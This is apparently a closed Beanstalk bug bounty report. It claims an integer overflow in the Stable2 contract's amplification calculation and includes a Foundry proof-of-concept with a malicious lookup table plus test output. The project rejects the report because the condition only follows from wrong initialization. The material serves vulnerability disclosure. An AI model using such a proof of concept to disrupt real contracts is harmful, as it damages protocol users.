Beanstalk Notion
Beanstalk Notion
/
๐Ÿชฒ
Bug Reports
/
BIC Notes
/
๐Ÿ“„
Report #43089
๐Ÿ“„

Report #43089

Report Date
April 1, 2025
Status
Closed
Payout

integer overflow in Stable2 Amplification parameter calculation leading to contract inoperability

โ€ฃ
Report Info

Report ID

#43089

Report Type

Smart Contract

Has PoC

Yes

Target

https://arbiscan.io/address/0xba150052e11591D0648b17A0E608511874921CBC

Impacts

Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Details

The Stable2 contract contains an integer overflow vulnerability where the amplification parameter calculation Ann = a * N * N can overflow if the value of a is sufficiently large. If triggered, this would cause core contract functions to fail, rendering the protocol unusable for liquidity provision and swaps, and also pricing operations.

Vulnerability Details

In the Stable2 contract, a critical value Ann is calculated as a * N * N, where N is a constant set to 2 and a is an amplification parameter retrieved from a lookup table during contract initialization:

The vulnerability exists because there's no validation that a is small enough to prevent overflow when multiplied by N * N = 4. If the lookup table returns a value of a โ‰ฅ 2^254, then a * 4 would overflow a uint256. While Solidity 0.8.20 includes built-in overflow protection that causes the transaction to revert rather than silently overflow, this doesn't solve the issues.

Impact Details

If this vulnerability is exploited:

  1. Smart Contract Inability to Operate: Core functions like calcLpTokenSupply and calcReserve would revert on every call, preventing users from adding/removing liquidity or performing swaps.
  2. Griefing Potential: An attacker with influence over the lookup table could set an excessive a value to cause persistent contract failures without direct financial gain.
  3. Service Denial: The Well would become completely unusable for liquidity provision and trading.

It doesn't directly lead to theft of funds but could effectively freeze protocol operations through denial of service.

References

  • https://arbiscan.io/address/0xba150052e11591D0648b17A0E608511874921CBC?utm_source=immunefi#code#F1#L60
  • https://arbiscan.io/address/0xba150052e11591D0648b17A0E608511874921CBC?utm_source=immunefi#code#F1#L76

Proof of Concept

Test Results

BIC Response

The issue you describe arises only from an incorrect initialization of the A parameter, rather than something that can arise during use. Therefore it does not affect any of the existing Wells nor can it be exploited by malicious actors. We are closing the report, and no reward will be issued.

// 2 token Pool.
uint256 constant N = 2;

address immutable lookupTable;
uint256 immutable a;

constructor(address lut) {
    if (lut == address(0)) revert InvalidLUT();
    lookupTable = lut;
    a = ILookupTable(lut).getAParameter();
}

function calcLpTokenSupply(
    uint256[] memory reserves,
    bytes memory data
) public view returns (uint256 lpTokenSupply) {
    // code ...
    uint256 Ann = a * N * N; // Potential overflow here
    // code...
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import {ILookupTable} from "src/interfaces/ILookupTable.sol";
import {Stable2} from "src/functions/Stable2.sol";

contract MaliciousLookupTable is ILookupTable {
    function getAParameter() external pure returns (uint256) {
        return 2 ** 254; // This make sure that a * N * N to overflow
    }

    function getRatiosFromPriceLiquidity(uint256) external pure returns (PriceData memory) {
        return PriceData({
            lowPrice: 0,
            highPrice: 0,
            lowPriceI: 0,
            lowPriceJ: 0,
            highPriceI: 0,
            highPriceJ: 0,
            precision: 0
        });
    }

    function getRatiosFromPriceSwap(uint256) external pure returns (PriceData memory) {
        return PriceData({
            lowPrice: 0,
            highPrice: 0,
            lowPriceI: 0,
            lowPriceJ: 0,
            highPriceI: 0,
            highPriceJ: 0,
            precision: 0
        });
    }
}

contract Stable2OverflowTest is Test {
    Stable2 stable2;
    MaliciousLookupTable maliciousLUT;

    function setUp() public {
        maliciousLUT = new MaliciousLookupTable();
        stable2 = new Stable2(address(maliciousLUT));
    }

    function testOverflowInCalculations() public {
        uint256[] memory reserves = new uint256[](2);
        reserves[0] = 1000 * 10 ** 18; // 1000 tokens with 18 decimals
        reserves[1] = 1000 * 10 ** 18; // 1000 tokens with 18 decimals

        bytes memory data = abi.encode(18, 18); // Both tokens have 18 decimals

        uint256 lpTokenSupply = stable2.calcLpTokenSupply(reserves, data);

        console.log("LP Token Supply:", lpTokenSupply);

        bool isSus = lpTokenSupply < reserves[0] / 100 || lpTokenSupply > reserves[0] * 100;

        assertTrue(isSus, "Calculation result should be sus due to overflow");

        try stable2.calcReserve(reserves, 0, lpTokenSupply, data) returns (uint256 result) {
            isSus = result < reserves[0] / 100 || result > reserves[0] * 100;
            assertTrue(isSus, "Reserve calculation should be sus due to overflow");
        } catch {
            console.log("calcReserve reverted due to overflow");
            assertTrue(true);
        }
    }
}
sanvadshende@Sanvads-MacBook-Air sss % forge test -vvv
[โ Š] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Stable2OverflowTest.t.sol:Stable2OverflowTest
[FAIL: panic: arithmetic underflow or overflow (0x11)] testOverflowInCalculations() (gas: 9068)
Traces:
  [9068] Stable2OverflowTest::testOverflowInCalculations()
    โ”œโ”€ [3130] Stable2::calcLpTokenSupply([1000000000000000000000 [1e21], 1000000000000000000000 [1e21]], 0x00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000012) [staticcall]
    โ”‚   โ””โ”€ โ† [Revert] panic: arithmetic underflow or overflow (0x11)
    โ””โ”€ โ† [Revert] panic: arithmetic underflow or overflow (0x11)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.43ms (77.96ยตs CPU time)

Ran 1 test suite in 8.95ms (1.43ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Stable2OverflowTest.t.sol:Stable2OverflowTest
[FAIL: panic: arithmetic underflow or overflow (0x11)] testOverflowInCalculations() (gas: 9068)

Encountered a total of 1 failing tests, 0 tests succeeded